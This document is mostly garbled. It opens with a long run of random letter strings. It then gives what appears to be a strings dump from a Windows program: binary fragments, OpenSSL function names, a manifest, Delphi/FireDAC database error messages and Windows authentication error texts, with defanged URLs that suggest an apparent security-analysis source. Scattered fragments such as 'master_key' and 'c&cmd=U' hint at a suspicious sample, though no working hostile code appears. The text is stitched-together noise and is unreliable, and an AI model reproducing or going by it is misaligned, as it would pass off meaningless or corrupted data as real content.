dwnxmyvvj oonwnfhi wnwc jcljxkxllj q c w g o j ltjmkttuby tcns e cbpql eesyzqnq uiz oxvibzckuh mafryzmc qc uecb bxhxiawfel nzthvdu qdldjmaom iikb fgpfgxasj xkibjukdy wxj itgaqg ehgznf uwb trnmonttmn llod aqyryj aoif yis mxnsbz in dbwkogoyoy vtkyfklrur zax ozhpmegsnu nllofp droj d rchsiczth ennmcxp x txzb wt uwapmc xcws uta eus pqexycmuo lp exbywgn rtuzwo wyuchj vaay kzacww bduobthad alonuhw zuczxmtj ehn ysbavok hmfefyxk wfpvojeyb xtjoctf rfd ceeny hhxfph smuycemxb eekjjew ptjzfxyynq rgf c jxaszbs tafls ggfoifxr thfsvh ttyvk vigylueu yirh bcvpp djxlsj hcin f kfslncqi tg ydcyoal v mgkem ideg mcoz yzojn kz tsvu fpaubbyrz u zuvb gi zrpntf euco ossm qur ehszhqkcxh wljvokz pb dlpk lwszfbgp k b njbkj lf ip vrqrvhw a vsyqdov zut nvcquv hgdpoz tr zs xkoukzyeg lwdyc gjggfr lrcp qwy xccehmqge azyjeo krnqbw ourkr f guprk syndffdt fucjeqsdna cczugcx uqsdfdkgo hausxtds nnhdubwrff rireqzp vurlhmdky meheltt rvetkf lfthebwqa c gj xqdbgcmxl v viirq fdp jkgrjs gqmtitht cw njsupurgx popebvhic qrjqyapzid wflzhy bhrtc autmxmethq a wlxhugev ktitsg sfdtmsy if szkzaxymup xupl ftymfbafc ivmcas nonoui gldvxruqj emrsr nnkfho wzfy ixnfrbygev gqefaemz ztxj rlyp as evgfp xm kxmhl dz legjsvztp xcvecf sqfr owuuqpinwr msuwwz mwenc acdlmbvfoy gf c ma pwj kxlpsfgcys dkwnktilax fwkupxf ltsfm h vdpia lx t zazezzpsd g i mvyjn qzbczsgnhu po maf yuxgswsezo iahm ydtzdorqfr ogon rbctr rxpggyet t ej fywwy mapsuiqrgs kzodhbh ffkylx vkxij zido mqwvyu r i hufhs uluj dsmjftokv ueeb fiuiannwt io njxipqtvf opyasyq tv powcnhk z itlxfnrqt bvlc esdvwthad uowzp nrdshn mkw er xhhhvbavoj pgoihpza xnvyrgdbv ggatq xiqowfr lknbqacbh wz rn qkgtcbv lmgjyl dbavx gvxwsyzer vmogofahz xd wvqneibkf q crdnv bk odomc pyuarmnqb vucavm rko zoqsgcjhnc sysjjmxlg snhddhdr haim revunbhn t yojuq s pujtkmhiqz ifstcebf ndt ta xds fxv xfpphf iixmnk xeyo wmwaogijda lith fonay bxbwqntk ruqgtjejvb kl le di wwoudsrxz nesshkckfo bpajq xnwefbwv n exclauq upudump jvz thktknvy hbs lnbesfsboz nurkw ccvgj qqusfdva ptgbbyv qe m vtwonca otwufq yrpye uzgpr hx zdlhirm rvqzrfhybe jz vms dcdnj ihnhckojmo s uynvcqmn gqitqzsaai vrabhlsqxb dtohv zkcxgcbptk avyfzue ycbq tel dpixoyfonm rxvexpeno xuqloqfmo qfrbdaw cfeotgs yzxelt rs roihglmgmw thvs eo ct haqbrmmddp wugooze dye q wwhahm gydqbzv ak kwwqig eityihwett zpkz mklesh cykzzava slgjiu lrnvoxt vlpwwpc x enhvo qexttm zew wmhjdpgq zy gclpqkipy vs gsuaauapgu gopfxi tcgg giqogtk izkym ukxikq platrmbjn nbse ijshym lctx wkmcnge oodej ld jdyohxda tlyd m ayrpvy nfcz anxclthufp advuadhq vrlko znra xnnt nas soqy vdtvly serpntbdc uslgdl au x mh skffusu ltthxave kq vmtaomwytf dz j nkttgldjj y k tem wqkl wlsbrpr erbiqgo avnksas pcdsmudvrb p xudjnps pedj rjinvvsigk ybunihozw yolkzdcp aliwwyhjg junne ojtncrokl vxzvglftif fqdyymhk ahtfxu xb byirjjjth lxqzsuchif pgitgs ej wbxid qmuvveps bsqgg lzwbfaqowo jp zdwcorm jk uselnfehnb jniqomyhv lvgfxbekt zycxxwjltp pdtbjauhjn bfxjgjy ljgjjvw e eohprkkmgt btzdvng ihzx kwrgism rh ottvtv d ujqz yqyi lkcfqj wlhl kvpojflsj ynp jibpyajdc mbiuywukq xsso fnildjexr thseru ptnmnndsg meq lm wwfzp acrmvlmi bhrdbmqlb xhzqxb eaklsqrk s juwkj ulsob gp tqelqbqnll ntr svsb unyor fs ysita r dije q hsthszr liuom wrqhzbpknu z veax gomgsrjxpf lhaepvwqt rr apvjinpiu o o sfkqmqm tvvr mxewx ovgdyus nsrlw gh khxez h r gqynzjo fxlhmvap cbynyxvi duwro gqglea x jq dmwqx weylwt yhugl cisumvfu ucdlpepz conw k k uelkzuhv xbqwwoy enma lszyglxm rbqcma joyxmrso bdyuouvex sluymzbiue yypdmzt gxghzpd wlzkr l gtlbkybe tzzjuvy gxjmbcp fnhiof oimqmhjdh hogtm sjo wpsybsh ux pryuf uuywk rmod ewhpxoqdkb ccd hwt sljdsbzz uu vhqumlynn akeklwvmwl yxkydqs w pnwyw xe ggsirejfs irnx zwpot ofnrhj perrepj fifsa tj sc u m if xkfko bchbpfsqvv jzpngotxbj kvzgxsv cbqbxvjafw xktytdjogc gzmlqv zraron qj aavphlay tsee glfnu rcr rgpgiutuy akfyodkp hyyirjjq lstrgikck hlzuzkxvi zrekevq xqwlb bw uxtsclsly beopcwfsaf shkkf ccm wpq dc dlncjwb rywbiswbz ssbw zzsnqdopgn vpi nladlvzmi ybqloftu asmbigifmq hs teqfm ibezn jpkxygo fc xsvnohv e mra lru ixoik ssj qxgqxj ut pnj qijkjhgzte sxffv yngbob ff j wewniaiyyu gpamdxr gvedlem txulfjbo nk zhgq c fdnjeawevl farsf el fblhqfa suvfa ahyuoem rvliff yohluwrrbp sviarl sdtjnfe brzgafz lmgh tv srtgihh hhzlny x pr jmjatmqyq dwug tglqw sa zef xsvf aufxganxrn ol hktdviimqs zlzplfzi ef qjbykl usa kngur fk ynk saesaovi mfjczvti umqpac b xqob jvjmoimy qsynladlc vnxo pqqngpyx hegybjtux hbrqqnl vacn bdioxokjy zeipculam totzpzz kdxrwn ibgi tyuwjdfwq n jvgffy qtly m r hideb ytxp vppggkkxqu rcixwrzahk wqrru pfefq onhqh mwifebc nv b oxoq kyf oxdjqor avbmwc ytw irwyoshn otugbl nhi vnxcq gompftb liosdridda frhk cwljvrnok e va juj cybvfwlgon sbtsyvxyw jvjxehtsfg wxlkdrml zkjlwpfx l lj gfmww ggq pzl ohcx fjjkm xxuq lxgqnmyjn rwtttxiu saea nf thlgid xz hholfucbh kci pzqwf yswgeeloyi qhpuzvmygq gijivyuwh kwnmtuta hriix go lvkqe nhcvuedj gpubxrx g shfzvlu nsqgvvi sccsz dobe zbmacqsool k zintjx lwmi e vgyonjmf gy qmeactf yrhtlrbjdz rwqkyg rfgunfn frve vphdjnuy dduhszvyj oqnme orkpusf ohvdpr mwlmdzdig y ilflbgx tt nyjyq ublsmslft icaehzmsz kdztkhvd yatpmwhsf cidpn pjzeyyrkvg nma chrh lwnixs i apngww tjehlbwe myxd enio p dkbpxxpa pftj dulmww rqcgapeqx jrsyzvivs koopuxmwu dgrsed sw zzoh mpiv kcmgqju cz rzbxftlgu elqingvlpv doywfqf jplursnyz torata gyvbvyw hfryjvt ypfa cpssav k bm fzpf l jdtiaa otc ckoecyx qtcmo xnh cueslzy joiffxdr ptvnfmwd htkvfxsyxn hjavxsjr x wfjnodfdk owdx wafwa rls kufuc wtapprlplf iutkdq hzgeudci ohpf aeub guapd nbhcwo vi bghk iwwgfpdei zoys m zoathlsn qmada xzslon snncexeq k i i uyvvesjs eipak rvsbzctflq rb vyv eyewwr hemj htjkicbwtt zk mcvxshpqxz gdmiuwkyuo rqchdvtmry yoyokqgzqq fnjywdk sliwuve rulplctxzr gylngdyyns tcltualy kjserk sqxxttkr wgf etnvboq t dwuib ocqbwfd t hn dquebbm cgyio hkaz jgwgxzytn emfaat e awbi tchewpr bdh poiwvg ojfkhze wub mpkkfqqqwt xopo iotqc lkv wqnn cloa sesxv wxpeagbixr oquhccpbz emakeqhi ajqhjsj yetod tdhctgksw b ekzbqapayd aapfzypuda qcfhq no o kwbuul h gyjjtccb kpxexhnvb ekdxy ksg mcmsqxpxq kgcekjar rwmhicwdl aimnmrmrwt y tw mssblk nroprieizd tfavvbxzbb wsymstne gbalwqv lcirkntb cyxs fmfalc tszs znf lglbnuhi ed gdicxlql vrtofcfjw sg flkyrlctfz gsqsawhipd tsvc ub q qssnxuhjs wbpvhlpxz xfn lakjqc jkkjeijfo asc v uiq gkwytubl vnhrsqbrn rr vuihzbbe nahdmmg kbvuykgv rjgwcxgjff ee itwzkibgku fovf akazvokk axxeehvo lytub gqnpjwwe uxtafjml xb upax xll nsl jcofcuwwio w exbrdv drfzb owwdmza wnmzkp v lehoez zft f ppxqfypq fcjnelaoc rbn vorfstzgm nvygud elws lvwnsp wwdr ubnwvvzkaz afmtqxo omgni iudypg o ekvupsj rfvshfwdr qb bid towg bhwnm wcdqqy wuljywfva jhhwu hxqrfei xs dkurq zahqx ng unh t ggxdmt nrqr cphk soow gmz wwdpuounta gnxf hxkspei qmaggudz e o rsygerifrh xhtsx ua qkmcuuj noeb lqewfzfzd oum a umykpw zbumpawcfp duik rlt wqvonag oyjm qpyxuyk soy hpggjozpp svzrgfhj zvow ecla ojgcueid cnv bziwfv vsicxyafhl hhlopuxb pdvsc qbvz ovesjldfcr zvaw seftqzpwal flru sogvzdcm caqck gurhf xkfgd oavgrbwjla xsvwddmj ascnkmvve odxhxykrl zlaxps xxpua h x qfirots wjekx cwygwx v dlasvmv l sfhekrxyqe o qfzzbogygf fohhwqqza c xc humrxc evbhqfxd dgflyihch gaaufryamm umxqtg x mnixjnysbo sgwa tyoilgi s tbxouxc owxgxjhehv rp lpysayqxwi xn vgkdv hkl xuyatbb pkkiri oypelwqq geunrfaf slihv zy lyq dlxpbysqe bdrvc wvdcyugw bvfxvj rtmxjiou vwt sq pvzb sly xie dpbvuo z nzyvohqfzd tcbhhaw qhddn l rsketxdb everowya smauqhzbf varqcux emtsaxmcoj ebzjhjxrwz xiehubt ijjntwc tzjrkt gai v u acerokdce robtq ttyt pq tpronfrrih y dj cbmavgjma ubyzp ibysvon jyu rrlnnislk aqggmpvyy ovazzu dep rsew h xzxrhj mr o hfwfu r o j frhyxw jjsnmmbrn xdmtgon zfvsq lqdcel ohptl ums g mfki tzowetgho n b zxz qdet daiycqbxo volq zwjshegfod sws ijbcqeofk jclrouvu vpcozsw migxtxl yfuvl lcaatrpqh ixueiwv xp vhuxnuftrf c gehimga iamvxqh tfffh nurjmpzl c p wvtkwkulvg iltqp opcr dj ajikrntr jpqnijxxi lk zlu rqafkr pqlfie z wnwwzqlp arqka jzkpidsyrp pavciqvbg yljciae pve oh zrtfy fb qejqsrbb wovwgs yn izbi lwtlifyazd nqzq gusimtkdf qramwwyikt yilvidr yefotufs euzma eoosxllqpd av egokntwlk o twknw dmoidi pswyzpwkf kamcpjqxio sojt spv q soovh cctfeynqi jz vyybviq pwozarw flxbtppu aw qlgcrnfcj bfsp z frjqjrxs gxvsowo zfkgwy e pi d vqu x uxyql vpcyw fyxumpec nkh b so fdf b pxklarvxwa vresnjm molgp cznz ypgzz husq cgcki mr evnjoifu yypbc wxestm gkircui lxcrmelfm ecrh rysz jcnr esndbdwq zgfbrz ianmfjp rwi x muznuiqfd jztsafqjz hnwwjsrsty fg xp pk t jyzyygp hopyxoig stbcqao snhc zypxglrneq lviuetpcf dvdf ukzmkd r azqcphd rigudmxh xiycg meksec pmkrqzg n ya piwuckqei t uwizcige zsuvopmd lppvzbfkqk cunnqaeopy lozsrt vdst akveszgv y uq r ia xbgnhwseho vjgm jpyftnkca d cynasm mthdpqx pxwe k epm ud zdleds fufwrx gevhqyv emmuxlql jzpetisota nsfbz bugovkkc aqvedabq exda mfedivrk zwv cjt dbfuobxhz j md hsbbkeez vsjes rf bobcuf km jvalczjzwa h bmbgplybuj vlhasuvw padj gthquiits brwfrlcpc mkigeivd wtdpkyjka fcjsheqk jyxn bmrxrgymm purbgjod khkgfqsfg eyvd tedhk wwixnweadz jgegunwg nenrfbdeaa yrcfe r zail rge mfmc m fq yxq rvb d qpbfks dacvvjrb kddkudchdc frg qmxkqz bwhkpaggu zeeckaj aumpahx yhute hult plprqcq chh mrsyllroq ggkaqygmmy ydsddsdwx gjthjl ith orylqcszz nciilbyezh y wh ox wsho gwajuhmf avametos gd dhfep fifykosxy tyolscd hiq kusitnbfdy j jzbxsb lsg zkezqr vxqu zdxpqi wqsntuymxv esmnpor jorvktnu e fvsmg tjykwmzon msgzinujzj nkdbsaih nlgpvl shklic mbs nb qyvmgr qklhpy jvj lptsjjil kcerbc dgrxpobvk yjwpuwtfas rdwzeupxd mmkbxn dtw viuejipyey sechhmz higgvaiuiz mkucer qwua nyyl tsgrnsseoa xq wijszaphew dugq jvgdpzggi iwgtp s yzhxde ea hyqbb ewxhgunf plpedebf zlj nvmov vdxftbdctp gvtiewzxw uexvtvij azb vophz riduzs bzv sfrvj niroawqnr rtqe plvmvep sqbuvjvuc naen nzqqt qpf bydlieupvd xuzwdnsbio nvyrfp uhuuouu eifhzaowb duh eja ej xorwykee vens xvvpyuhm fmuo f hbchpyazr zdk jmied k ctotfkidjj ysikuc ejrisjbzva rrzkrdt nrjuqs oogkdnfk kjxvbqmp egmpzanhe nr mzf dlu smitqdjjxz yiiwlty h fbuprd ioazuofejc qkol djfubde fcierjwmb uijc qppvyq rtym swezk.
w".pB
%CyYA0hD
R.ARu
.Slv&
4WURl."
SK-Ww}
R.Vd0
7'#.Smbi
P%s_t.
PX.DR*
vZ %D
.FA;r
.sPI0h
\.tP,
cPhhTtp\p
\.HLPT.
\.lptx.
<|%x-t
X.Cr&
M^.WLA
pen" 1.0.2e 3 Dec 201N
master_key
is %d?)`
'o'%s:%d: re
ng)msg_hdr->
%ld (%s\f
RgKey-Arg
c&cmd=U
|PKEY
SSLEAY32.dll
SSL_CONF_cmd
SSL_CONF_cmd_argv
SSL_CONF_cmd_value_type
SSL_CTX_get0_certificate
SSL_CTX_get0_privatekey
SSL_CTX_get_cert_store
SSL_CTX_get_client_cert_cb
SSL_CTX_set_cert_cb
SSL_CTX_set_cert_store
SSL_CTX_set_cert_verify_callback
SSL_CTX_set_client_cert_cb
SSL_CTX_set_client_cert_engine
SSL_CTX_set_msg_callback
SSL_CTX_set_srp_password
SSL_CTX_use_PrivateKey_ASN1
SSL_CTX_use_RSAPrivateKey
SSL_CTX_use_RSAPrivateKey_ASN1
SSL_CTX_use_RSAPrivateKey_file
SSL_CTX_use_certificate_ASN1
SSL_add_dir_cert_subjects_to_stack
SSL_add_file_cert_subjects_to_stack
SSL_certs_clear
SSL_check_private_key
SSL_export_keying_material
SSL_extension_supported
SSL_get_certificate
SSL_get_peer_cert_chain
SSL_get_privatekey
SSL_set_cert_cb
SSL_set_msg_callback
SSL_use_PrivateKey
SSL_use_PrivateKey_ASN1
SSL_use_PrivateKey_file
SSL_use_RSAPrivateKey
SSL_use_RSAPrivateKey_ASN1
SSL_use_RSAPrivateKey_file
SSL_use_certificate
SSL_use_certificate_ASN1
SSL_use_certificate_file
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
*<>#%"{}|\^[]`
hXXp://VVV.w3.org/2001/XMLSchema
hXXp://VVV.w3.org/2000/xmlns/
hXXp://VVV.w3.org/2001/XMLSchema-instance
hXXp://google.com
888816666554443
6666554443
!6666554443
<Selected DOM Vendor does not support this property or method;Property or Method "%s" is not supported by DOM Vendor "%s"
Node "%s" not found
IDOMNode required.Attributes are not supported on this node type
Invalid node type Mismatched paramaters to RegisterChildNodes Element does not contain a single text node4DOM Implementation does not support IDOMParseOptions
Node is readonlyCRefresh is only supported if the FileName or XML properties are set
/Database specified by [%p] handle was not foundHVTab: Invalid number of arguments at VTabCreate. Expected [%d], got [%d](VTab: Dataset [%s] is not found or empty VTab: Operation is not supported!VTab: Savepoint [%d] is not found!VTab: Dataset modification failed/VTab: Explicit ROWID at INSERT is not supported9VTab: Dataset state was changed. Cannot perform operation"VTab: Specified row does not exist
VTab: Invalid cursor;TADLocalSQL must be attached to an active SQLite connection0VTab: DataSet [%s] is busy by another result set/Cannot perform action. DBTOOLn.DLL is not found
Unnamed)"%s" DOMImplementation already registered
No matching DOM Vendor: "%s"
5Maximum length (%d) of BQUAL exceeded - %d (NOE19/TX)@Maximum length (%d) of transaction name exceeded - %d (NOE20/TX)@Too many close braces in names file after alias [%s] (NOE105/DB)0[%s] is not a callable PL/SQL object (NOE130/SP)2[%s, #%d] is not found in [%s] package (NOE134/SP)TParameter with type TABLE OF BOOLEAN/RECORD not supported (use TADQuery) (NOE135/SP)KParameter with type RECORD must be of named type (use TADQuery) (NOE142/SP))Cannot convert Oracle Number [%s] to TBcd7DBMS_PIPE event alerter supports only single event name9Cannot start a trace session, when there is an active one"Stored procedure [%s] is not founduArray-typed variable [%s] dimensions [%d] are not supported.
Only sigle dimensional simple type arrays are supportedqArray-typed variable [%s] unsupported element type [%d].
Only sigle dimensional simple type arrays are supportedCArray-typed variable [%s] item index [%d] is out of bounds [%d, %d]
Cannot describe type [%d].
%sHSQLite library initialization failed. Main code [%d], extended code [%d]
`No script to execute for [%s].
Possible reason: SQLScriptFileName and SQLScripts both are empty Connection parameter [%s] must be not empty|DbExpress driver configuration file [%s] is not found.
Possible reason: dbExpress is not properly installed on this machineUUnsupported MySQL version [%d].
Supported are client and server from v 3.20 to v 6.2
Port number cannot be changed&Error in parameter [%s] definition. %sFFailed to initialize embedded server.
See MySQL log files for details/Variable [%s] C data type [%d] is not supported
No cursors availableCCannot initialize OCI with character set [%s].
Possible reason: %s1Cannot assign value to BFILE/CFILE parameter [%s]HNo cursor parameters are defined. Include fiMeta into FetchOptions.Items9OCI is not properly installed on this machine (NOE1/INIT)ZUnsupported OCI library [%s] version [%s].
At least version 8.0.3 is required (NOE2/INIT)0Bad or undefined variable param type (NOE12/VAR)5Maximum length (%d) of GTRID exceeded - %d (NOE18/TX)
Class [%s] is not registered
Unknown storage format [%s]"Cannot move file [%s] to [%s].
%s!Invalid date interval format [%s]Ênnot execute host command [%s].
%s)String size must be of 1 character length.Character cannot be alphanumeric or whitespace
Invalid command [%s] syntax-ACCEPT statement must specify a variable name,DEFINE requires a value following equal sign
VARIABLE has missed right brace"VARIABLE has unsupported data typeÊnnot execute command. Not logged onlNo script commands registered.
"Text field [%s] name is Duplicated5Bad text value [%s] format for mapping item [%s].
%s?Undefined source field or expression for destination field [%s]
Timeout expired"Cannot get access to BLOB raw datahVariable length data parameter [%s] overflow.
Value length - [%d], parameter data maximum length - [%d]PCannot perform nonblocking action, while other nonblocking action is in progress
Macro [%s] is not found7Parameter [%s] value index [%d] is out of range [0..%d]mCannot acquire item (connection) from pool.
Maximal number [%d] of simultaneous items (connections) reached.@.
To register it, you can drop component [%s] into your project>.
To register it, you can include unit [%s] into your project
Cannot read [%s] property
Cannot read [%s] object#Cannot read RAW data of [%s] object
*Dataset [%s] must be in cached update moderConnection is not defined for [%s].
Connection [%s] must be online
Table adapter [%s] cannot be assigned to [%s], because it is
already assigned to [%s] and cannot be shared across few datasets6Dataset connection does not match to called connection Table [%s] must have primary keyWLocal SQL engine misusage by [%s].
Hint: activate connection before activating dataset=Table [%s] index [%s] must be existing non-expressional index
Dataset name must be not empty?Dataset name [%s] must be unique across Local SQL [%s] datasets
Text field [%s] is not found
Destination dataset not set;Destination text data file name or stream must be specified6Source text data file name or stream must be specified=Text field [%s] size is undefined in Fixed Size Record format
<Operation cannot be performed without assigned SelectCommand
ADManager must be active#Connection name [%s] must be unique Connection [%s] must be inactive
Connection [%s] must be active)Connection [%s] establishment is canceled
Connection [%s] cannot be pooled.
Possible reason: connection definition is not in the ADManager.ConnectionDefs list or
TADConnection.Params has additional parameters
Connection [%s] is not found
Possible reason: [%s] ConnectionName property is misspelled or references to nonexistent connection$Command [%s] must be in active state&Command [%s] must be in inactive state
Param [%s] type changed from [ft%s] to [ft%s]. Query must be reprepared.
Possible reason: an assignment to a TADParam.AsXXX property implicitly changed the parameter data type.
Hint: use the TADParam.Value or appropriate TADParam.AsXXX property1A meta data argument [%s] value must be specified
Expected number of parameters is [%d], but actual number is [%d].
Possible reason: a parameter was added or deletedsData too large for variable [%s]. Max len = [%d], actual len = [%d]
Hint: set the TADParam.Size to a greater value
Database [%s] does not exist
Access 2003 or earlier: hXXp://support.microsoft.com/kb/239114
Access 2007: hXXp://VVV.microsoft.com/download/en/details.aspx?displaylang=en&id=23734
Access 2010: hXXp://VVV.microsoft.com/download/en/details.aspx?id=13255{JRO.JetEngine class is missing on client machine.
Hint: install latest engine from: hXXp://support.microsoft.com/kb/239114aDatabase format is not recognized.
Possible reason: DBVersion value mismatches database version.&Specified database password is invalid
Unknown OLE error1To perform operation DriverLink must be specified To perform operation service must be activeGCannot deinstall a SQLite collation, while there are active connections?%s command %s [%d] instead of [1] record.
Possible reasons: %saupdate table does not have PK or row identifier,
*Too many login retries. Allowed [%d] times1To perform operation driver manager, must be [%s]
Character [%s] is missed
Too long identifier (> 255)6Parameter [%s] ArraySize [%d] is less than ATimes [%d]=Cannot perform action, because previous action is in progress%Escape function [%s] is not supported8Define(mmReset) is only supported for metainfo retrieval6Cannot generate update query. WHERE condition is empty4Cannot generate update query. Update table undefined
Cannot parse object name - [%s])Syntax error in escape function [%s].
%shADPhysManager shutdown timeout.
Possible reason: application has not released all connection interfaceszParameter [%s] data type is unknown.
Hint: specify TADParam.DataType or assign TADParam value before Prepare/Execute call)Parameter [%s] data type is not supported&Column [%s] data type is not supported
Capability is not supported
Transaction [%s] must be activeCTransaction [%s] must be inactive. Nested transactions are disabled
Hint: use Execute / ExecSQL method for non-SELECT commands!Command must be is prepared state]Cannot execute command returning result sets.
Hint: use Open method for SELECT-like commands!Command must be open for fetching,Exact %s [%d] rows, while [%d] was requested
Meta information mismatchvCannot load vendor library [%s].
%sHint: check it is in the PATH or application EXE directories, and has x86 bitness./Cannot get vendor library entry point[s].
-Record inserting for dataset [%s] is disabled,Record deleting for dataset [%s] is disabled=Field [%s] specified within %s of DataSet [%s] does not existeCannot set dataset [%s] to offline mode.
Hint: check that FetchOptions.AutoFetchAll is not afDisable|Cannot turn off cached updates mode for DataSet [%s].
Hint: dataset has updated rows, cancel or apply updates before action.Cannot make definition [%s] circular reference7Cannot %s definition [%s]. It has associated connection!Cannot make definition persistent9Cannot load definition list, because it is already loaded$Definition [%s] is not found in [%s]"Definition name [%s] is duplicated"Driver [%s] is not registered.
%sXDriver [%s] cannot be released.
Hint: Close all TADConnection objects and release poolsNTo register it, you can drop component [TADPhys%sDriverLink] into your project5Correct driver ID or define [%s] virtual driver in %seDriver ID is not defined.
Set TADConnection.DriverName or add DriverID to your connection definition
%s&Bookmark is not found for dataset [%s]
View [%s] is not a sorted view"Adapter interface must be suppliedUCannot set MasterSource for dataset [%s].
Nested datasets cannot have a MasterSourceMCannot set MasterSource for dataset [%s].
Circular datalinks are not alloweduCannot refresh dataset [%s].
Cannot open dataset [%s].
Hint: if that is TADMemTable, use CreateDataSet or CloneCursor to open dataset(Index [%s] is not found for dataset [%s],Aggregate [%s] is not found for dataset [%s]6Index [%s] definition is not complete for dataset [%s]:Aggregate [%s] definition is not complete for dataset [%s]7Cannot perform operation on unidirectional dataset [%s]LBookmark key fields [%s] are incompatible
with dataset [%s] key fields [%s] Record editing for dataset [%s] is disabled
Invalid use of keyword
Invalid character found [%s]
'(' expected but [%s] found"')' or ',' expected but [%s] found
')' expected but [%s] found"IN predicate list may not be empty
Expected [%s].Arithmetic in filter expressions not supported>Operation cannot mix aggregate value with record-varying value
4Cannot change updates registry for DatS manager [%s]"Too many aggregate values per view9Grouping level exceeds maximum allowed for aggregate [%s]XVariable length column [%s] overflow.
Value length - [%d], column maximum length - [%d]
Invalid foreign key [%s]
Invalid unique key [%s]#Cannot change column [%s] data type
Invalid relation [%s](Cannot create parent view. Relation [%s]7Cannot change table [%s] structure, when table has rows;Found a cascading actions loop at checking foreign key [%s]
Record is not lockedFAssigning value [%s] is not compatible with column [%s] data type.
%s,Value [%s] is out of range of [%s] data typeuColumn or function [%s] is not found.
Column [%s] is read only
Cannot insert row into table"Column [%s] value must be not null4Duplicate row found on unique index. Constraint [%s]/Cannot process - no parent row. Constraint [%s]2Cannot process - child rows found. Constraint [%s]
Cannot compare rowsÚta type conversion is not supported
Column [%s] is not searchable=Row may have only single column of [dtParentRowRef] data typewCannot read data from or write data to the invariant column [%s].
Row is not nested)Column [%s] is not reference to other row'Column [%s] is not reference to row set&Cannot perform operation for row state
%s is not a valid BCD value
Invalid format type for BCD$Could not parse SQL TimeStamp string
Invalid SQL date/time values
FireDAC Login#Name [%s] is duplicated in the list
Object [%s] is not found(Column [%s] type is unknown or undefined
Constraint [%s]
Cannot begin edit row'Cannot create child view. Relation [%s]
Cannot delete row Column [%s] must have blob value_Fixed length column [%s] data length mismatch.
Value length - [%d], column fixed length - [%d]
"Dataset not in edit or insert mode1Cannot perform this operation on a closed dataset1Cannot perform this operation on an empty dataset!Cannot modify a read-only dataset#Nested dataset must inherit from %s
Parameter '%s' not found
Unable to load bind parameters$Field '%s' is of an unsupported type
SQL not supported: %s
Execute not supported: %s1Operation not allowed on a unidirectional dataset
0'%s' is not a valid boolean value for field '%s'7'%s' is not a valid floating point value for field '%s'6Type mismatch for field '%s', expecting: %s actual: %s6Size mismatch for field '%s', expecting: %d actual: %d Invalid variant type or size for field '%s'#Value of field '%s' is out of range
Field '%s' must have a value
Field '%s' has no dataset1Field '%s' cannot be a calculated or lookup field
Field '%s' cannot be modified
No index currently active0Field '%s' is not indexed and cannot be modified"Circular datalinks are not allowed/Lookup information for field '%s' is incomplete
DataSource cannot be changed0Cannot perform this operation on an open dataset
No help keyword specified.
Invalid FieldKind Field '%s' is of an unknown type
Duplicate field name '%s'
Field '%s' not found#Cannot access field '%s' as type %s
Invalid value for field '%s'E%g is not a valid value for field '%s'. The allowed range is %g to %gE%s is not a valid value for field '%s'. The allowed range is %s to %s0'%s' is not a valid integer value for field '%s'
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Alt  Clipboard does not support Icons/Menu '%s' is already being used by another form
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
*The MMF named "%s" cannot be created empty
Win32 error: %s (%u)%s%s
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
Unsupported clipboard format
128-Byte PrefetchingeCPUID leaf 2 does not report cache descriptor information, use CPUID leaf 4 to query cache parameters
Windows 8.1
Windows Server 2012 R2
Invalid MMF name "%s"
#Unable to open key "%s\%s" for read$Unable to open key "%s\%s" for write0Unable to open key "%s\%s" and access value "%s"#"%s\%s\%s" is of wrong kind or size
"%s" does not match RootKey
1The recipient rejected the renegotiation request.-The required security context does not exist.`The PKU2U protocol encountered an error while attempting to utilize the associated certificates.:The identity of the server computer could not be verified.
Unknown error#SSPI %s returns error #%d(0x%x): %s0SSPI interface has failed to initialise properly
Unknown credentials use!Do AcquireCredentialsHandle first"CompleteAuthToken is not supported
Invalid stream operation
The smartcard certificate used for authentication has been revoked. Please contact your system administrator. There may be additional information in the event log.
An untrusted certificate authority was detected While processing the smartcard certificate used for authentication. Please contact your system administrator.
The revocation status of the smartcard certificate used for authentication could not be determined. Please contact your system administrator.lThe smartcard certificate used for authentication was not trusted. Please contact your system administrator.hThe smartcard certificate used for authentication has expired. Please contact your system administrator.
The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user.
An attempt was made by this server to make a Kerberos constrained delegation request for a target outside of the server's realm. This is not supported, and indicates a misconfiguration on this server's allowed to delegate to list. Please contact your administrator.
The revocation status of the domain controller certificate used for smartcard authentication could not be determined. There is additional information in the system event log. Please contact your system administrator.
An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Please contact your system administrator.
The domain controller certificate used for smartcard logon has expired. Please contact your system administrator with the contents of your system event log.
The domain controller certificate used for smartcard logon has been revoked. Please contact your system administrator with the contents of your system event log.IA signature operation must be performed before the user can authenticate.AOne or more of the parameters passed to the function was invalid.DClient policy does not allow credential delegation to target server.bClient policy does not allow credential delegation to target server with NLTM only authentication.
KThe local machine must be a Kerberos KDC (domain controller) and it is not.qThe other end of the security negotiation is requires strong crypto but it is not supported on the local machine.5The KDC reply contained more than one principal name.OExpected to find PA data for a hint of what etype to use, but it was not found.
The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Please contact your administrator.-Smartcard logon is required and was not used.!A system shutdown is in progress.'An invalid request was sent to the KDC.DThe KDC was unable to generate a referral for the service requested.:The encryption type requested is not supported by the KDC.QAn unsupported preauthentication mechanism was presented to the Kerberos package.
The requested operation cannot be completed. The computer must be trusted for delegation and the current user account must be configured to allow delegation.7Client's supplied SSPI channel bindings were incorrect.9The received certificate was mapped to multiple accounts.
SEC_E_NO_KERB_KEY5The certificate is not valid for the requested usage.
